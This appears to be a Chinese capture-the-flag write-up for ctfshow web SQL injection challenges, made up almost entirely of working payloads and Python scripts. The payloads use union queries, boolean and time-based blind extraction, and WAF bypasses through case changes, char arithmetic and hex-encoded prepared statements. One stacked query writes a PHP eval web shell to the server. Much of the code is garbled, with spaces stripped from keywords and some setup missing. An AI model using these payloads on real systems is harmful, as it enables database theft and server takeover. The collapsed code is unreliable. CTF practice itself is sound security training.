$sql= "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
这里直接引号闭合然后联合查询。
payload:
-1' union select 1,database(),3 --+ #ctfshow_web -1'unionselect1,group_concat(table_name),3from information_schema.tables where table_schema ='ctfshow_web'--+ #ctfshow_user
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'ctfshow_user'--+ #id,username,password -1'unionselect1,group_concat(id,username,password),3from ctfshow_user--+ #ctfshow{1378e24f-46cf-437a-a886-9b97d32a0b31}
web 172
同上
payload:
-1' union select database(),2 --+ #ctfshow_web -1'unionselect1,group_concat(table_name) from information_schema.tables where table_schema ='ctfshow_web'--+ #ctfshow_user,ctfshow_user2
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+ #id,username,password -1'unionselect group_concat(password),2from ctfshow_user2--+ #ctfshow{328d51d3-517e-4116-8683-4146f2915f71}
flag="" for i inrange(1,200): left = 32 right = 128 while left<right: mid=(left+right)//2 #payload=f"?id=1%27%20and%20ascii(substr(database(),{i},1))%3E{mid}%20--+" #payload=f"?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_user4' ),{i},1))>{mid} --+" payload=f"?id=1' and ascii(substr((select group_concat(password) from ctfshow_user4),{i},1))>{mid} --+" urls=url+payload res=requests.get(urls) #print(res.text) if"admin"in res.text: left=mid+1 else: right=mid if left!=32: flag+=chr(left) else: break print(flag)
for i inrange(1,200): left=32 right=128 while(left<right): mid=(left+right)//2 payload=f"?id=1'+and+if(ascii(substr((select group_concat(password) from ctfshow_user5)%2C{i}%2C1))>{mid}%2Csleep(3)%2C0)--+" urls=url+payload begin=time.time() res=requests.get(urls) end=time.time() if(end-begin>2.9): left=mid+1 else: right=mid if(left!=32): flag+=chr(left) else: break print(flag)
web 176
从这里开始是加了waf的,但是没有给出黑名单。
fuzz一下发现过滤了select,这里可以大小写绕过。
payload:
-1' union sElect 1,database(),3 --+ #ctfshow_web -1'unionsElect1,group_concat(table_name),3from information_schema.tables where table_schema=database() --+ #ctfshow_user
-1' union sElect 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+ #id,username,password -1'unionsElect1,group_concat(password),3from ctfshow_user --+ #ctfshow{d7682dce-3f9a-4ce8-893d-6ba216067cef}
import requests import time url="http://5b285b83-8642-4556-b1cc-ca435d196f99.challenge.ctf.show/select-waf.php"
flagstr="ctfshow{qeryuipadgjklzxvbnm0123456789-}_" flag="" for i inrange(0,34): for x in flagstr: data={ "tableName":"`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag+x) #"tableName":"`ctfshow_user`where`pass`like\'ctfshow{}%\'".format(flag+x) } response=requests.post(url,data=data) #有并发数量限制的题目,就睡一段时间 time.sleep(0.3) if response.text.find("$user_count = 1;")>0: print("++++++++++++++++ {} is right".format(x)) flag+=x break else: continue print("ctfshow"+flag)
letters = "{}_-" + string.ascii_lowercase + string.digits index = 1 result = ""
whileTrue: for letter in letters: load = payload.format(index, result + letter) if valid_payload(load): result += letter break print(f"[*] result: {result}") index += 1
for i inrange(9,50): print(i) for j in s: ''' u=url+"?u=if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',username,2)".format(i,j) u=url+"?u=if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flaga'),{0},1)='{1}',username,2)".format(i,j) ''' u=url+"?u=if(substr((select flagaabc from ctfshow_flaga),{0},1)='{1}',username,'a')".format(i,j) #print(u) r = requests.get(u) #print(r.text) if"passwordAUTO"in r.text: flag+=j print(flag) break
result = '' dict=string.ascii_lowercase+string.digits+"_-,}{"
# 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flagas'" #爆字段值 payload = "select flagasabc from ctfshow_flagas"
defnumToStr(str): parts = [] for s instr: parts.append(numToStr2(s)) res = ','.join(parts) returnf"concat({res})"
defnumToStr2(num): parts = [] n = ord(num) for i inrange(n): parts.append("true") res = "+".join(parts) returnf"char({res})"
for i inrange(1,46): print(i) for j indict: params={ 'u' : f"concat(if(substr(({payload}),{numToStr(str(i))},true)={numToStr(j)},username,cot(false)))#" } r = requests.get(url, params=params) # print(r.url) if("ctfshow"in r.text): result +=j print(result) break
Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;');EXECUTE stmt; #拆分开来如下: Prepare stmt from CONCAT('se','lect * from `ctfshow_flagasa`;'); EXECUTE stmt; deallocateprepare stmt; #可以不加 #concat(char(115,101,108,101,99,116)也可以代替select
但是这里我们注意到过滤了(,我们这里可以用十六进制绕过。
#获取表名 ?username=1';prepare h from 0x73686f77207461626c6573;execute h; #获取数据 ?username=1';prepare h from0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute h;
##1.php <?php eval($_POST[1]);?> ?username=1';prepare h from 0x73656c65637420273c3f706870206576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027;execute h;
web 228
?username=1';prepare h from 0x73686f77207461626c6573;execute h;
?username=1';prepare h from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;execute h;